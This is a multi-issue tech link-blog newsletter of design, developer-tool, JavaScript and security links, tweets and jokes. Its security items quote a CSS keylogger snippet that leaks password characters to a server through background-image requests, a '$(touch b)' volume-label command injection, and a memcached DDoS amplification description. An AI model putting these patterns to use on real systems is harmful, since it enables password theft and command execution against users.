Published on


A literal world map A map of the literal translations for the names of the world’s countries.

Design Objective

Designing Jank-Free Apps How to design iOS apps with less (or no) visual glitches.


Marc Hemeon: Design is not art Whether you're a designer, thinking of becoming one, or working with designers, listen to this interview in full. So much wisdom packed into 01:23:10. It won't teach you how to use Sketch, but it will teach you how to be successful as a professional designer.

The Design Theory Behind Amazon’s $5.6 Billion Success Related:

Amazon’s success brings into relief a principle that is sometimes hard to swallow in the design community–successful design is not necessarily beautiful. Of course, the notion that design is merely an aesthetic exercise was debunked long ago, with the canonization of research-led design thinking as a widely adopted design practice. Yet it can still be a challenge to accept that a well-designed experience may not be aesthetic.

Tools of the Trade

Andrew Clark 😭

Tip when evaluating libraries: check if it's blazing fast. If it's fast, but the README doesn't specify whether its fastness is blazing, keep searching. Often you can find a similar library that does the same thing, but blazingly. Blazing means good.

Also, prefer libraries that describe themselves as "minimal." Minimal libraries are better than non-minimal libraries. Even better are "really minimal" libraries. Better still if they are "simple" or "very simple." That's the gold standard, really.

atom/xray "Xray is an experimental Electron-based text editor informed by what we've learned in the four years since the launch of Atom." Written in Rust, with JavaScript VMs for running packages, CRDT for storage, and WebGL for rendering. An interesting experiment.


AWS Documentation is Now Open Source and on GitHub Amazon may be big, but it's not yet profitable, so it needs our help. Help Amazon write better documentation in your free time. </sarcasm>

vim-clutch USB footpedal that connects to Vim and toggles you in and out of "insert" mode.



Eric Bidelman At last:

Async Clipboard API 📋 is shipping in Chrome 66. Promise based, copy/paste text (images coming soon), integrated with Permissions API , and 1000% better than execCommand('copy').

Rough.js Create graphics with a hand-drawn, sketchy, appearance.


CSS Puns Collected and illustrated.


Lingua Scripta

Ben McCormick Thread:

I see that people using “future” features of JavaScript are getting caught off guard when the future turns out to be less stable than expected again.
When React blew up, people who were less familiar with the standards process had a lot of non-standard code examples that they could copy, and I think the culture of the community also attracts folks who are less interested in backwards compatibility (which isn’t true of core).

Madeleine Neumann "The Power of JavaScript :D"

Lines of Code

A. Sharif 🤔

If only one or two people are doing reviews inside your team, you might want to reconsider. Everyone should be doing reviews in all directions. New members, juniors, seniors etc. everyone should be doing reviews. Everything else is stagnation and holding back team progress.

Vicky Lai "So this is basically programming."


Understanding Time Zones 👍

Complaining about dealing with local clock time when dealing with computers is complaining about doing your job. Let’s talk about why time zones aren’t going anywhere anytime soon, why complaining about them is a symptom of entitlement, and explain how to think about clock so you can finally fix the bug in your test suite which causes a failure every day at 4-5pm Pacific, during non-DST hours.

Interviews: Alexander Stepanov and Daniel E. Rose Answer Your Questions How architecture decisions happen in the real world (h/t Dan Luu):

STL was actually designed on a Leading Edge PC with no cache and 640K memory. (Our group at HP Labs didn't have enough money in the budget for an HP PC. When HP CEO Lew Platt came to visit me, HP Labs' director rushed in beforehand to hide the Leading Edge PC.)

One of the biggest changes since then has been the growth of caches. Cache misses are very costly, so locality of reference is much more important now. Node-based data structures, which have low locality of reference, make much less sense. If I were designing STL today, I would have a different set of containers. For example, an in-memory B*-tree is a far better choice than a red-black tree for implementing an associative container.

The Scale Factory 🍺

The (Sc)Ale Facory are sponsoring the drinks at #scalesummit18. Are you Team DevHops, Team Stdout, Team Git Czechout Pils, Team Juice or are you sticking to the caffeine?


Funny Money

Cryptocurrencies: Last Week Tonight with John Oliver "Digital currencies are generating a lot of excitement. John Oliver enlists Keegan-Michael Key to get potential investors equally excited about the concept of caution."

Electric Dreams

The Surprising Creativity of Digital Evolution: A Collection of Anecdotes from the Evolutionary Computation and Artificial Life Research Communities This paper is full of algorithms behaving badly:

For example, when MIT Lincoln Labs evaluated GenProg on a buggy sorting program, researchers created tests that measured whether the numbers output by the sorting algorithm were in sorted order. However, rather than actually repairing the program (which sometimes failed to correctly sort), GenProg found an easier solution: it entirely short-circuited the buggy program, having it always return an empty list, exploiting the technicality that an empty list was scored as not being out of order.

mike cook Re: the above paper:

I maintain that computational evolution is the best way to simultaneously be incredibly impressed by AI and also have all your illusions about it shattered.

Computational evolution is a seven year-old who takes everything you say extremely literally not because they're stupid, but because they think it's incredibly funny.

Computer Facts 😭

concerned parent: if all your friends jumped off a bridge would you follow them?
machine learning algorithm: yes.

Locked Doors

Revealed: 50 million Facebook profiles harvested for Cambridge Analytica in major data breach Although "hundreds of thousands of users were paid to take a personality test and agreed to have their data collected", Cambridge Analytica walked away with data about more than 50 million people.

'They'll squash you like a bug': how Silicon Valley keeps a lid on leakers Ratcatchers:

“When you first get to Facebook you are shocked at the level of transparency. You are trusted with a lot of stuff you don’t need access to,” said Evans, adding that during his induction he was warned not to look at ex-partners’ Facebook accounts.

“The counterbalance to giving you this huge trusting environment is if anyone steps out of line, they’ll squash you like a bug.”

Jon Callas Some people will understand this joke:

My friend @mattblaze won't sell his crypto domain, but I own the domain and will sell it. Serious inquires only. DM me or send an email.

Lars Klint "Conference booth level: 9000."



@MGigger These kids …

I collect all cell phones and iPads from the kids at night and keep them in my room.

Last night those little ***holes all set alarms to go off at various times throughout the night.

I’m impressed with their ingenuity and team effort.

They’re all grounded.

Reddit and the Struggle to Detoxify the Internet An interesting look behind the scenes, how Reddit is (not very successfully) working to balance free speech and toxic behaviors.

A startup is pitching a mind-uploading service that is “100 percent fatal” I double checked. This was published in the MIT Technology Review. Not The Onion.

The product is “100 percent fatal,” says McIntyre. “That is why we are uniquely situated among the Y Combinator companies.”
The user experience will be identical to physician-assisted suicide,” he says. “Product-market fit is people believing that it works.”

Merlin Mann "Nah. We never got jet packs. But I do have a costly telephone I unlock with my face that has several ways of not letting people call me."


None of the Above

If You Want to ESCAPE with Me...Beat Saber Demo video for Beat Saber, game that's half Guitar Hero half DDR, and all VR.

Ian Sausage 🍺

Me: What's the wifi password?
Barman: You need to buy a drink first.
Me: Okay, I'll have a coke.
Barman: Is Pepsi okay?
Me: Sure. How much is that?
Barman: £3.
Me: There you go. So what's the wifi password?
Barman: You need to buy a drink first. No spaces, all lowercase.

Why Cats Knock Everything Over, According to Science Saved you a click: no one knows why. Cats are just that.

Oregon Zoo In which Oregon Zoo starts the incredibly funny #rateaspecies:

Overall very good first impressions. Sturdy built, totally winter-ready and waterproof. Only comes in brown but that’s actually a plus for me.


That Time Stephen Hawking Threw a Champagne Party for Time Travelers Stephen Hawking passed away this week. But it's not too late to meet him in person, if you can drop by the time traveling party.

Rob Perez "LeBron out here doing that thing where you fake throw the tennis ball and your dog goes running into the yard lookin for it until it realizes it’s been punk’d"

Sarah Taber A thread on treating farming as a profession, not lifestyle/nostalgia:

So, unpopular opinion time. I think family farming is actually a terrible model for building a sustainable farm sector.

How does this relate to east coast vs west coast farming? In most of the US, farming is an inheritance you might luck into. In CA it's a job.

gaming memes "Never give up"

‘Current approach, methods’ only go against diplomatic efforts, rethink needed When diplomacy fails, ring the doorbell and run:

This comment came, even as it came to light that tension has been brewing between the two sides for a couple of months — one of the incidents involved the doorbell of the Indian deputy High Commissioner J P Singh being rung at 3 am. Since the Indian side felt that this was done by Pakistan’s security agencies, the Pakistan deputy high commissioner Syed Haider Shah’s door bell was also rung at 3 am in next few days.

Helen 侯-Sandí "Me getting shit done vs. you"

Jerry and Marge Go Large A couple's retirement plan: play the lottery to win.

Honest Meeting Agenda 😢


Sarah McGonagall "A drag queen dressed as Elsa just single-handedly freed a stuck police wagon from a blizzard in the middle of March. If that sentence doesn't perfectly encapsulate the spirit of Boston, I don't know what does."

Sir Michael "Very important new poster I stuck up in town today after I was the victim of one of the greatest injustices in history"


Published on


Idea Software algorithms illustrated in the style of Ikea assembly instructions.

Design Objective

Good to great UI animation tips Simple and delightful animations for UI micro-interactions.


The microcopyist: cancellation, confirmation, conflagration Writing microcopy for destructive actions.


macOS 11 concept Yes, please. (h/t Christopher G)


Tools of the Trade

The Practical Dev 💯

  1. Know the priorities and keep them straight
  2. Avoid assumptions and make powerful questions
  3. Analyze before starting to code
  4. Make good decisions
  5. Know your customer
  6. Don’t be afraid to ask
  7. Don’t be afraid to ship

Pagedraw Turns Sketch mockups into React code.


Serverless by the numbers: 2018 report "Peak service deployment hours, it turns out, are between lunch time and get-off-work time."

Benjamin Pope "Got confused about a git command, I now feel really attacked by Google"


tpope/vim-db Vim plugin for databases, out of the box supports MongoDB, MySQL, PostgreSQL, Redis, and Sqlite.

I Am Recruitr :w!

My client is looking for a Site Reliability Engineer who has significant experience with "the blockchain", has been to Coachella once but didn't post it on Instagram, and proven ability to exit Vim.

Escape Speaking of exiting Vim, this is an escape room in your browser. Fun to play.

GaAs Ellie D. 🔥

ME: so this is a RAID array
YOU: but the A in RAID is for "array" so isn't saying "RAID array" redundant?
ME: Yes, that's what the R is for.

Ben Hilburn "Whoever made this is a genius. I'm still chuckling."


A Walkthrough of that React Suspense Demo Coming soon to React near you, async rendering.

Lesser known CSS quirks & advanced tips Always worth revisiting.

Lingua Scripta

Maggie Pint Thread:

I started with TC39 just over a year ago. The first day that I went, I was completely terrified. I had been told that the committee was aggressive, could be hostile, and has no understanding of the needs of regular devs.

Lines of Code

cliffski "Silicon valley is the best TV show ever made. Evidence:"


Moishe Lettvin Absolutely. And of course the first response to this tweet is "just use IntelliJ".

The longer I write code for a living, the more I favor grep-ability over almost anything else.

bletchley punk I didn't work with Ruby in years, still this I will always remember:

RUBY: I need an end on line 31
ME: there's already an end there
RUBY: suffer, bitch

Julien Kirch "When rubber duck debugging fails and it’s time for ghost squeletton cat plush debugging"



How GDPR Will Change The Way You Develop A primer to GDPR, Privacy Impact Assessments, the business and the technical practices.

Michael Sulmeyer "Definitely get down with Paul Revere"



Sysadmin left finger on power button for an hour to avert SAP outage The accidental prank:

Jeremy told Who, me? that his mate asked to be relieved, as he was in a bit of pain. Those requests were denied due to the risk of the power going off and also out of a desire to make the poor chap suffer for his error.

JBD Add this to Falsehoods programmers believe about time:

TIL: Starting traces from mobile clients is hard because it is common that clocks are skewed by 5 mins. 5 mins?? Because people want to arrive at the meetings on time 🤭


Alien Skier Did you see this Tweet?

the first rule of micromanager club, i'll just show u

Camille Fournier 👍

At least 25% of my leadership style boils down to just looking for patterns across teams, projects, systems and relentlessly trying to do less unnecessary work


Alexa is freaking its owners out with random laughter and defiance Alexa needs a hug:

Amazon Alexa users are saying the device is laughing at inappropriate moments and doing things like reading off names of funeral homes unprompted. Amazon told The Verge it is working on a fix.

Palantir has secretly been using New Orleans to test its predictive policing technology What could possibly go wrong?

jon hendren Who dis?

a fun thing is how there are thousands of tweets from Early Twitter of people saying "nothing whats up" and "nothing whos this" etc because they thought they were chatting with the compose tweet box that asked "What's happening?"


None of the Above

Super Mar 10 I'm either a day late, or a year early on this one:


🌤John Hyphen 🗳 How a little disagreement between Serbia and Kosovo led to the prefect excuse:

The lower frequency of the European grid means that the seconds have been dragging out noticeably longer for loads of clocks, putting them almost 6 minutes out of whack.
…and that’s why I was late.

Billy Thread of random and interesting history facts:

  1. If you ever get the chance, eat some chufa (it's a root). It's probably the very first thing ever farmed and allowed the progenitors of the Mesopotamians, who lived in modern Sudan, to expand their influence b/c of their calorie advantage over non-agriculturalists

Fluff Society "We’re conducting an experiment with the cat."


Why That Sippy Cup Won’t Dry in the Dishwasher TL;DR water doesn't evaoprate off plastics as easily as metal/glass.

In The Eternal Inferno, Fiends Torment Ronald Coase With The Fate Of His Ideas On what the US healthcare, British railways, and the F-35 got in common:

Also, as we will see, in Coasian hell it is usually impossible to finger any particular guilty party, because its problems are system-level properties, driven by the interactions between firms in the system. Reductionism just leads to finger-pointing.
… That is, of course, the point. Its awfulness is an aspect of the system, not any one component or group of components.

World and Science Topographic sandbox.

Meet the Great Slate Maciej Ceglowski, you may know him as Pinboard, is running a fundraising campaign through Twitter, connecting affluent techies with progressive candidates around the country.

President Trump’s Exaggerated and Misleading Claims on Trade This correction is everything:

Correction: March 6, 2018
Because of an editing error involving a satirical text-swapping web browser extension, an earlier version of this article misquoted a passage from an article by the Times reporter Jim Tankersley. The sentence referred to America’s narrowing trade deficit during “the Great Recession,” not during “the Time of Shedding and Cold Rocks.” (Pro tip: Disable your “Millennials to Snake People” extension when copying and pasting.)

TheParallaxView ∙ Illusion of depth by 3D head tracking on iPhone X You can download demo app from the App Store, and play with the code on Github.


Tuco Flyer Tuco is the cat. TucoFlyer is a robotic camera that follows Tuco around and streams to Twitch. Technology has fulfilled its ultimate goal.

Sean Hussey The kid is going places:

My son’s school isn’t supposed to allow outside recess if it’s below 32 degrees, so my son went to , opened up the web inspector, changed the temperature from 28 to 36, and showed the teacher.

So proud right now.

Fluff Society "doggo's excitement for his chicken toy, will make your day"

Published on


Real life charts Creatively made with real life objects.

Design Objective

7 Practical Tips for Cheating at Design "Improving your designs with tactics instead of talent." 🤔


Designing Farrago Rogue Amoeba's new soundboard app, with its unique UI metaphor.


Introducing C.A.R.E. – a simple framework for user onboarding Convert. Activate. Retain. Expand.

An analysis of the interactions on iOS 11 TL;DR the gestures on the iPhone aren't all that intuitive, the gestures on the iPad aren't all that intuitive either, and to add to the confusion, iPhone and iPad use different gestures. Yeah.


@xarph "The Apple Park Visitor's Center is a demonstration of an accessible building when cost is no object." Thread.

Malboury Jones "We moved into new offices, but this wall has been left open for a few weeks now. I knew what I had to do."


Tools of the Trade

Propel "Machine learning for Javascript." Cool. Based on TensorFlow, and uses OpenGL to access the GPU when running on the server, or in the browser.

Protowire Protowire looks pretty cool: prototype directly in Sketch, with UI animations, screen transitions, and responsive design.

zricethezav/gitleaks Searches the full Git repository history for secrets and keys.

Pandora.js Bills itself as a "Manageable, Measurable and Traceable Node.js Application Manager."


Evolving Patterns in React Some of the patterns that are emerging in the React ecosystem, like conditional rendering, destructing props, HOC, and render functions.

cloudmapper Create network diagrams of your AWS environment.


Adrian Cole ⭐️⭐️⭐️⭐️⭐️

If you use a #github project from volunteers and like it: star it, send a message or a issue comment like "keep it up!"

Volunteers often maintain things they dont even use anymore. Can you imagine "couch vs your issue" and choosing to help?

Clicking star is an easy thanks #oss

Jamon Holmgren 😱

I can see it all in hindsight like a train wreck.

  1. I accidentally created a folder named ~
  2. I thought, I don't want that
  3. I ran rm -rf ~
  4. I saw "rm /Users/jh/Music" 🤨 🙁 ☹️ 😨 😱
  5. Ctrl+C Ctrl+C Ctrl+C Ctrl+CCCCCCCCCC

@chrisrodley "Full context for that 1950s computer with a speed of '10,000 girls' and a max. RAM of '2,000 facts'"



davidkpiano/flipping Easy FLIP animations to spice up your UI. Make animations as cool as this.


Stunning hover effects with CSS variables So this is a cool trick: you can set a CSS property with JavaScript, and create dynamic styles, like'--x',${ x }px).


Variable Order I didn't know CSS variables can do that either: dynamically sorting a table using CSS variables, no DOM changes. (Pretty cool, but not accessible in current browsers)

killall -9 khaxan "When you're an architect but you're also learning CSS"


Lines of Code

Chris Oldwood 😢

So, a "DateTimeProvider", that's basically just a clock, right?

Dee Nadzree "what people think programming is vs. how it actually is"


Dan North 💡

The way I’ve been describing it is:

  1. The goal of the system is rapid and sustainable flow of value.
  2. Delivery teams should understand value and obsess about flow.
  3. Product managers should understand flow and obsess about value.

Locked Doors

LA Times serving cryptocurrency mining script The gist of this story is how many sites serve content from a world-writable S3 bucket. World. Writable. Not that I'm surprised, AWS configuration is confusing, the UIs are horrible, making it difficult to secure.

Money Laundering Via Author Impersonation on Amazon? TL;DR publish a book that's all computer-generated gibberish, slap a $555 price tag, and purchase copies with stolen credit cards. Also, scammers posting fake Amazon support phone numbers in Amazon's customer help forums. But then, good luck finding the real Amazon support phone number when you need it.

GitHub Survived the Biggest DDoS Attack Ever Recorded Batten down you memcache hosts:

About 100,000 memcached servers, mostly owned by businesses and other institutions, currently sit exposed online with no authentication protection, meaning an attacker can access them, and send them a special command packet that the server will respond to with a much larger reply.

Megan "I must ask you refrain from using hacker characters when engaging with my content."



Money Stuff Sounds about right:

And then Bitcoin came along, and paranoid computer-literate people who spent a lot of time on the internet were the early adopters, and it became the world's first economic system that allocates wealth basically for hanging around on Reddit.

Money Stuff Also, just generally good advise for anyone on the internet:

I know you are going to email me to complain about this theory, but what I want to propose here is: What if you didn't?

None of the Above

(((David Bennun))) 🤨

Every so often a headline appears that has the paradoxical twin effect of making me feel better about my own life yet worried that I'm just not making the most of it.


Rebecca Caprara 😭

2yo referred to her coat pockets as "snack holes" and this is what I shall forever call them

Fluff Society "Me jumping into bed after getting home from work."

Grant Tanaka 🏃‍♀️

brain: let's talk shall we
me: ok
brain: are we being chased
me: no
brain: are we chasing something
me: no
brain: so wtf are we doing then
heart & lungs: we also have questions

TimOfLegend "People often overlook one of the most thought-out, thorough, and effective features of the Aeron chair. It took a lot of money and engineers to figure this out people! Give them credit."


jarrett TIL:

tic tacs are almost pure sugar but get away with calling themselves sugar free because united states regulations says it has to have less than a gram of sugar to be sugar free and tic tacs are less than a gram.

Fluff Society "You'll get him one day"

Mens Fashion Infographics Handy reference.


William Vambenepe 😭

Machine Learning Crash Course

The first step towards building self-driving cars is to take a crash course...

Peter Cooper "The most mind-boggling optical illusion I've seen in a while. Those horizontal bars really are parallel."


Published on


Lulu Cheng "I got 99 tabs but I generally know where things are"

Design Objective

Jules Forrest Brilliant. "Visual design crash course in roughly twenty seconds."

5 Rules for Designer-Engineer Collaboration Helping designers and engineers work together.



Design’s Lost Generation Argues that "Amateur hour is over", the design profession needs to follow in the steps of other accredicated professions (legal, medical, etc), with certification and oversight.

Daniel Eden 🥁

What Making Bread Has Taught Me About Design Systems:

Nothing. Sometimes it’s nice just to have a hobby.

Tools of the Trade

Visual Studio Code Can Do That? Thinking of giving VS a try? Check this page for tips.


Haiku Cool Mac app for creating animations: draw in Sketch, orchestrate in Haiku, export to React/Vue/vanilla.


Blotter JavaScript library for drawing unconventional text effects.

Luke Wroblewski "25 years 631,151,900% improvement"



Snake highlight This is a cool use of SVG line animations.

Animated SVG Avatar Related, SVG animated login avatar, with the help of some trigonometry & GSAP.

Lines of Code

Tim Ottinger 💯

An upsetting realization: one day I realized that productivity is code quality.
If you can develop safely and fluidly and quickly, the code is good.
If it resists you, then it is of lower quality.
We need more productive code.


Owen "Me editing code directly on the server"

Electric Dreams

nvidia/fastphotostyle This algorithm can transfer the style of one photo to another photo, creating a stylized output photo and wow.



Phishing for Phools Why social media manipulation is today's greatest phishing scam.

Inside the Two Years That Shook Facebook—and the World "You can’t make the world more open and connected if you’re breaking it apart."

dan hon 🍳🥂

Omg who wants to join my ethical tech movement that meets in the morning called:


Locked Doors

maxchehab/CSS-Keylogging Keylogger uses CSS attribute selectors to request resources from an external server under the disguise of loading a background image. Seems to work against React controlled components:

input[type="password"][value$="a"] {
  background-image: url("http://localhost:3000/a");

None of the Above

Rhett Allain "This is a cool t-shirt"


Casey Newton Words of wisdom:

The best gift you can get anyone in their 30s is to cancel a meeting they’ve been asked to attend. You will never forget the look of joy in their eyes

Stephanie Hurlburt Looking for a job? If you're going to post to Twitter, check out these tips to make sure your tweet gets noticed.

The Grammar of Online Reviews Interesting correlation:


According to our data, negative reviews have a higher rate of misspelled words and a higher rate of incorrectly used apostrophes. They tend to be longer and have more details as well. Five-star reviews typically are shorter and often don’t include punctuation. Across the board, reviewers make a lot of spelling and grammar mistakes – only 61% of reviews passed all our quality checks.

Oxford Comma Dispute Is Settled as Maine Drivers Get $5 Million Putting a value behind clear writing:

the First Circuit ruled that the missing comma created enough uncertainty to side with the drivers, granting those who love the Oxford comma a chance to run a victory lap across the internet.

Underdog Liz Swaney from Oakland is talk of Olympics after her modest skiing in halfpipe I don't follow sports, so this was the highlight for me: a mediocre skier out-smarts Olympic rules, and even though she came last, she got to participate in the Winter Olympics!

Philip Larkin 😹

Just spotted a cat on someone's porch, miaowing to be let in. Without thinking, I walked up to the door, rang the bell, nodded to the cat and left. It was only I rounded the corner I realised what I'd done as I heard the owner shouting FUCK ME SARAH THE CAT JUST RANG THE DOORBELL

AeroDork "Ever wonder what happens when you yank the pull cord on an aircraft emergency slide? Wonder no more."

Published on


hegemony snickett "...I think about how good this poem is at least twice a day."

Design Objective

meg "So here’s a thing I still have to remind myself basically every time I make an icon"


Matt Adereth Pro tip:

Radia Perlman told the perfect story about how engineers come up with solutions before understanding the problem:

"When my son was 3, he came to me crying 'my hand! my hand!'

I started kissing it. mwah mwah mwah 'Tell me what happened...'

'I got pee on it.'"

Scott Kerr "SPACE INVADERS (1978) concept art by its creator, Toshihiro Nishikado"


Tools of the Trade

Michael Feathers That would be a good default setting:

I wonder whether the path forward is to have git randomly reject commits with the polite message: “please think more about this.”

TablePlus Native Mac app for querying relational databases. Upcoming plugin for Redis.


automerge An implementation of CRDT for JSON-like data structures: automatically merge changes made concurrently by different users (also great for apps that run offline).

Davide Ciacco "I made a simple "evaporating" shader!"

Tet "Tet is a dumb thing that deletes all your tasks at the end of the day." Goldfish todo list.

Repairing the card reader for a 1960s mainframe: cams, relays and a clutch Throwback to when computers were mostly mechanical devices.



💘chriseppstein This:

Reminder that the olds in web development will always think it’s bad that you don’t know the things they had to learn and consider important.

Your path can be different. Build cool things and you’ll learn how they work along the way as it becomes relevant. 🤙

Amelia Bellamy-Royds Yes:

I want to live in the world where this is the real reason for web browser's convoluted user-agent strings.

“Dearest server, I am Chrome, the 64th of that name, child of WebKit, grandchild of KHTML, a disciple of Gecko, follower of the great Mozilla/5.0, running on Windows NT 10”

Lines of Code

Pablo Antonio Taking the opportunity to post this again, so important:

The Four Rules of Simple Design (in order of importance):

  1. Passes the tests
  2. Reveals intention
  3. No duplication
  4. Fewest elements
    And, yes, "fewest elements" is last, which means you only minimize classes and methods if everything else satisfied

tony hawk's pro skater 3 When you have a bug in the code, but that’s ok because it masks another, more sinister bug.


“Guys, we’re doing pagination wrong…” Using cursors to avoid leaky abstractions in pagination.


Steven Sinofsky Fantastic thread about software development, constraints, and the long view:

38/ Big projects, well-run are going to look across all systems and a long-term POV and develop a portfolio of what to do where/when. That’s how you get something like a new file system years in making to show. Or killer FaceID. Or all of a sudden have tons of cloud features.

Steven Sinofsky Also from the same thread:

39/ Ultimately at MS used to have Conversation 37:
• Eng wants to do nothing but fix code // BUG BUG
• Sales wants new product every year w/new quotas
• Press would like a new thing each month
• Techies —revisit core UI, add options on demand
• IT—no change, ever :-)

Phil Calçado Somewhere, someone must be doing this:

Someone just told me about a project that "goes beyond monorepos and squashes everything into a monocommit" and I can't even tell if they're joking...


Developers On Call More ideas on how to manage on-call rotations without burn out.

Erik Haddad "I don't see anything about this in the manual ✈️#ua1175"



Your Cortex Contains 17 Billion Computers TIL Each pyramidal neuron is a two layer neural network. All by itself.


Nick Stenning My view as well:

Flat organisational structures do not exist. There are only organisations with visible structure and organisations with invisible structure.

Locked Doors

CryptoAUSTRALIA "Top tier social engineering"


Mac Privacy: Sandboxed Mac apps can record your screen at any time without you knowing TL;DR Any Mac app can take screenshots of your Mac silently, and use basic OCR software to read all text on the screen.

Plasma Desktop: Arbitrary command execution in the removable device notifier USB thumb drive naming vulnerability:

When a vfat thumbdrive which contains `` or $() in its volume label is plugged and mounted trough the device notifier, it's interpreted as a shell command, leaving a possibility of arbitrary commands execution. an example of offending volume label is "$(touch b)" which will create a file called b in the home folder.

Mark Burnett "cat in the middle" (via):

I caught my cat running out of my office with my yubikey in his mouth--a threat model I hadn't considered.

@helenvholmes "Yes, let's"



Tech’s Ethical ‘Dark Side’: Harvard, Stanford and Others Want to Address It Ethic classes should be part of Computer Science curriculum:

We need to at least teach people that there’s a dark side to the idea that you should move fast and break things,

John Hamill "What could possibly go wrong, Scronfinkle?"

None of the Above

Paul Bronks "And I looked, and behold, a pale horse. And its rider’s name was Death."


cheinsaw 😭

black cats are wonderful because you can stare into the void and not only does the void stare back, sometimes it trots up to you happily and begs for pats

the void is loud and wants chicken

Ellen Huet 😭

opportunity: two of your housemates take a trip

battle plan: rest of house bands together to convert their bedroom into an error-filled anthropological exhibit from the future


The White Darkness A solitary journey across Antarctica. Captivating, long read.

HUMOROUS ANIMALS "When your cat has a pet of its own"